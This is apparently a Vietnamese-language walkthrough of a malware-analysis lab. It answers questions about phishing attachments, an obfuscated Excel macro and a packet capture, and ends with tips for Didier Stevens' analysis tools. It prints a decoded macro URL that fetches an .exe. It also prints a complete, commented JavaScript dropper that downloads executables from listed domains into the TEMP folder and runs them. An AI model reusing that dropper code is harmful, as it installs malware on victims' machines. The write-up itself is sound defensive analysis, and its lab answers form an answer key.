Skip to main content

Malware analysis 5

| 10.3.66.103 [1.web-counter.info] | | --------------------------------------------- | --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | | 109.68.191.31 | | | | 174.121.246.162 | 174.121.246.162 [kennedy.sitoserver.com] | | | 192.241.179.166 | 192.241.179.166 [3point5oz.com] | | | 74.125.226.176 | 74.125.226.176 [www.google.com] | | | 23.218.210.155 | 23.218.210.155 [e10088.dspb.akamaiedge.net] [www.microsoft.com-c.edgekey.net.globalredir.akadns.net] [www.microsoft.com] | | | 10.3.66.1 | router |

Q1 c41-MTA5-email-01: What is the name of the malicious file?

Extract attachment trong mail1

460630672421.exe

Q2 c41-MTA5-email-01: What is the name of the trojan family the malware belongs to? (As identified by emerging threats ruleset).

Tính hash: UPATRE

Q3 c41-MTA5-email-02: Multiple streams contain macros in this document. Provide the number of the highest one.

20

ubuntu@ip-172-31-17-146:~/Desktop/Start here/Tools/DidierStevensSuite$ python3 oledump.py '/home/ubuntu/Desktop/Start here/Artifacts/2- Bill Payment_000010818.xls'
/home/ubuntu/Desktop/Start here/Tools/DidierStevensSuite/oledump.py:188: SyntaxWarning: invalid escape sequence '\D'
manual = '''
1: 104 '\x01CompObj'
2: 236 '\x05DocumentSummaryInformation'
3: 216 '\x05SummaryInformation'
4: 13218 'Workbook'
5: 615 '_VBA_PROJECT_CUR/PROJECT'
6: 131 '_VBA_PROJECT_CUR/PROJECTwm'
7: M 24051 '_VBA_PROJECT_CUR/VBA/Module1'
8: M 25828 '_VBA_PROJECT_CUR/VBA/Module2'
9: 5853 '_VBA_PROJECT_CUR/VBA/_VBA_PROJECT'
10: 2278 '_VBA_PROJECT_CUR/VBA/__SRP_0'
11: 642 '_VBA_PROJECT_CUR/VBA/__SRP_1'
12: 1244 '_VBA_PROJECT_CUR/VBA/__SRP_2'
13: 264 '_VBA_PROJECT_CUR/VBA/__SRP_3'
14: 812 '_VBA_PROJECT_CUR/VBA/__SRP_4'
15: 204 '_VBA_PROJECT_CUR/VBA/__SRP_5'
16: 622 '_VBA_PROJECT_CUR/VBA/dir'
17: m 992 '_VBA_PROJECT_CUR/VBA/Лист1'
18: m 992 '_VBA_PROJECT_CUR/VBA/Лист2'
19: m 992 '_VBA_PROJECT_CUR/VBA/Лист3'
20: M 1458 '_VBA_PROJECT_CUR/VBA/ЭтаКнига'

Những luồng M là luồng có VBA, còn m là rỗng

Ta dùng các câu lệnh sau:

python3 oledump.py -s 7 -v

Phát hiện trong luồng 8 có một mã bị làm rối

valdis = Array(6340, 6352, 6352, 6348, 6294, 6283, 6283, 6333, 6336, 6354, 6333, 6346, 6335, 6337, 6336, 6339, 6350, 6347, 6353, 6348, 6282, 6346, 6337, 6352, 6282, 6333, 6353, 6283, 6362, 6341, 6346, 6335, 6333, 6346, 6352, 6341, 6346, 6283, 6287, 6287, 6288, 6339, 6289, 6342, 6291, 6290, 6283, 6292, 6293, 6291, 6341, 6291, 6353, 6356, 6349, 6337, 6282, 6337, 6356, 6337)

Ta đoán được là 6340, 6352, 6352, 6348, 6294, 6283, 6283 → http://

trong ascii thì

  • h: 104
  • t: 116
  • p: 112
  • : (dấu hai chấm): 58
  • / (dấu gạch chéo): 47

Ta suy ra được offset = 6340 - 104 = 6352-116= 6236

Mà trong luồng 7 ta cũng tìm được hàm

Public Function Pochemu(Z() As Variant, oldLen As Integer) As String
Dim n As Integer
For n = LBound(Z) To UBound(Z)
Pochemu = Pochemu & Chr(Z(n) - 4 * oldLen - 6000)

Hacker chọn oldLen = 59 ⇒ kêt quả tương tự

Dùng python ta có script sau:

valdis = [
6340, 6352, 6352, 6348, 6294, 6283, 6283, 6333, 6336, 6354,
6333, 6346, 6335, 6337, 6336, 6339, 6350, 6347, 6353, 6348,
6282, 6346, 6337, 6352, 6282, 6333, 6353, 6283, 6362, 6341,
6346, 6335, 6333, 6346, 6352, 6341, 6346, 6283, 6287, 6287,
6288, 6339, 6289, 6342, 6291, 6290, 6283, 6292, 6293, 6291,
6341, 6291, 6353, 6356, 6349, 6337, 6282, 6337, 6356, 6337
]
ket_qua = ""
for so in valdis:
ky_tu = chr(so - 6236)
ket_qua += ky_tu

print(f"Ket qua la: {ket_qua}")
Ket qua la: http://advancedgroup.net.au/~incantin/334g5j76/897i7uxqe.exe

Q4 c41-MTA5-email-02: The Excel macro tried to download a file. Provide the full URL of this file?

Q5 c41-MTA5-email-02: The Excel macro writes a file to the temp folder. Provide the filename?

Public Const zilibobe = "t”

hermando5 = string_ty_pe4(UCase(zilibobe) + "EMP")

Là để lưu vào thư mục TEMP

rudnik = Chr(Asc(UCase(zilibobe)) + 17)

Vậy rudnik = "e". ce_de_ge3 = hermando5 + Chr(Asc(zilibobe) - 24) + zilibobe + "gh" + zilibobe + "op" + "." + rudnik + "x" + rudnik

  • Asc("t") thường là 116.
  • 116 - 24 = 92.
  • Ký tự có mã ASCII 92 chính là dấu gạch chéo ngược \.
  • Thay các biến còn lại vào: \ + "t" + "gh" + "t" + "op" + . + "e" + "x" + "e".

Kết quả cuối cùng nối lại chuẩn xác là: \tghtop.exe

Q6 c41-MTA5-email-03: Provide the FQDN used by the attacker to store the login credentials?

jpmmotos.pt ta tìm thấy rất nhiều cái web này trong file

Q7 c41-MTA5-email-04: How many FQDNs are present in the malicious js?

var str = '5552505E160B0601161017241605070F17140507014A070B095E3C5E060A1E4A070B094A091D5E17555E555050525C50505555505E55'; file js là một js dropper/downloader

// Biến str ở đầu file đóng vai trò như một Campaign ID hoặc Bot ID
var str = '5552505E160B0601161017241605070F17140507014A070B095E3C5E060A1E4A070B094A091D5E17555E555050525C50505555505E55';

// 1. Khởi tạo danh sách Domain (C2/Payload Servers)
var b = "kennedy.sitoserver.com nzvincem.cont.com abama.org".split(" ");

// 2. Khởi tạo các COM Object của Windows để tương tác hệ thống
var ws = WScript.CreateObject("WScript.Shell"); // Dùng để thực thi file
var xo = WScript.CreateObject("MSXML2.XMLHTTP"); // Dùng để gọi HTTP GET tải file
var xa = WScript.CreateObject("ADODB.Stream"); // Dùng để ghi luồng dữ liệu nhị phân xuống ổ cứng

// 3. Xác định vị trí lưu trữ file độc hại (%TEMP%\799755[n].exe)
var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + "799755";
var ld = 0;

// 4. Vòng lặp tải và thực thi Payload
for (var n=1; n<=3; n++) {
for (var i=ld; i<b.length; i++) {
var dn = 0;
try {
// Gửi request tải payload, kèm theo ID và Random Number
xo.open("GET", "http://" + b[i] + "/counter/?id=" + str + "&rnd=309034" + n, false);
xo.send();

// Kiểm tra HTTP Status Code
if (xo.status == 200) {
xa.open();
xa.type = 1; // 1 = adTypeBinary (Dữ liệu nhị phân)
xa.write(xo.responseBody);

// Kiểm tra kích thước file > 1KB để tránh lưu file rác/error page
if (xa.size > 1000) {
dn = 1;
xa.position = 0;
xa.saveToFile(fn + n + ".exe", 2); // 2 = Ghi đè nếu file đã tồn tại

try {
// Kích hoạt Payload chạy ngầm
ws.Run(fn + n + ".exe", 1, 0);
} catch (er) { };
};
xa.close();
};
if (dn == 1) {
ld = i; // Đánh dấu domain nào còn sống để dùng cho lần lặp sau
break;
};
} catch (er) { };
};
};

Q8 c41-MTA5-email-04: What is the name of the object used to handle and read files?

ADODB.Stream

Q9 c41-MTA5.pcap: The victim received multiple emails; however, the user opened a single attachment. Provide the attachment filename.

Trong file pcap có thông tin về server của attachment 4

fax000497762.zip

Q10 c41-MTA5.pcap: What is the IP address of the victim machine?

Q11 c41-MTA5.pcap: What is the FQDN that hosted the malware?

kennedy.sitoserver.com

Q12 c41-MTA5.pcap: The opened attachment wrote multiple files to the TEMP folder. Provide the name of the first file written to the disk?

Ở lần chạy đầu tiên của vòng lặp, biến n = 1. Khi ghép các chuỗi lại với nhau (fn + n + ".exe"), hệ thống sẽ tạo ra tệp tin có tên 7997551.exe.

Q13 c41-MTA5.pcap: One of the written files to the disk has the following md5 hash "35a09d67bee10c6aff48826717680c1c"; Which registry key does this malware check for its existence?

interface{9a83a958-b859-11d1-aa90-00aa00ba3258}

Q14 c41-MTA5.pcap: One of the written files to the disk has the following md5 hash "e2fc96114e61288fc413118327c76d93" sent an HTTP post request to "upload.php" page. Provide the webserver IP. (IP is not in PCAP)

The incriminated file is the one transferred within packet n.571. Load it to Hybrid-Analysis and open the report under Falcon Sandbox Reports. Go to Network Analysis, then HTTP Traffic where you will find a POST request to the url 78.24.220.229/upload.php – thus, the flag to submit is 78.24.220.229. Now last question!

Q15 c41-MTA5.pcap: The malware initiated callback traffic after the infection. Provide the IP of the destination server.

Như đã phân tích ở trên thì ta thấy rất nhiều hoạt động với ip 109.68.191.31

Để chắc chắn hơn ta xem

Là một html mã hóa với nội dung nghi vấn.

Công cụ của Didier Stevens

Phân tích mã độc với olemdump.py

  • quét tổng thể: python3 oledump.py <file_name>
  • trích xuất và giải nén VBA: oledump.py -s 8 -v <file>
    • stream 8
    • VBA decompression
  • Dump mã độc ra phân tích: python oledump.py -s 8 -v file_nghi_ngo.xls > macro_extracted.vba

Phân tích pdf với pdfid.py

Nó đếm các từ khóa nguy hiểm trong cấu trúc pdf

  • pdfid.py <file_name>
    • /JavaScript hoặc /JS: File có nhúng mã JavaScript.
    • /OpenAction hoặc /AA (Additional Action): File sẽ tự động chạy một hành động nào đó ngay khi nạn nhân vừa mở lên (rất hay dùng trong tấn công Zero-click).
    • /EmbeddedFiles: File PDF này đang giấu một file khác (có thể là .exe) bên trong nó.

Phân tích sâu với pdfparser.py

  • python pdf-parser.py --search javascript thong_bao_thue.pdf
    • Tìm đối tượng chứa javascript
  • python pdf-parser.py --object 12 thong_bao_thue.pdf
    • Có đối tượng thì đem ra phân tích

Để đọc code nguyên bản: do dữ liệu pdf thường bị nén bằng flateDecode:

  • python pdf-parser.py --object 12 -f -w thong_bao_thue.pdf
    • -f: filter
    • -w: raw

Săn chuỗi mã hóa với base64dump.py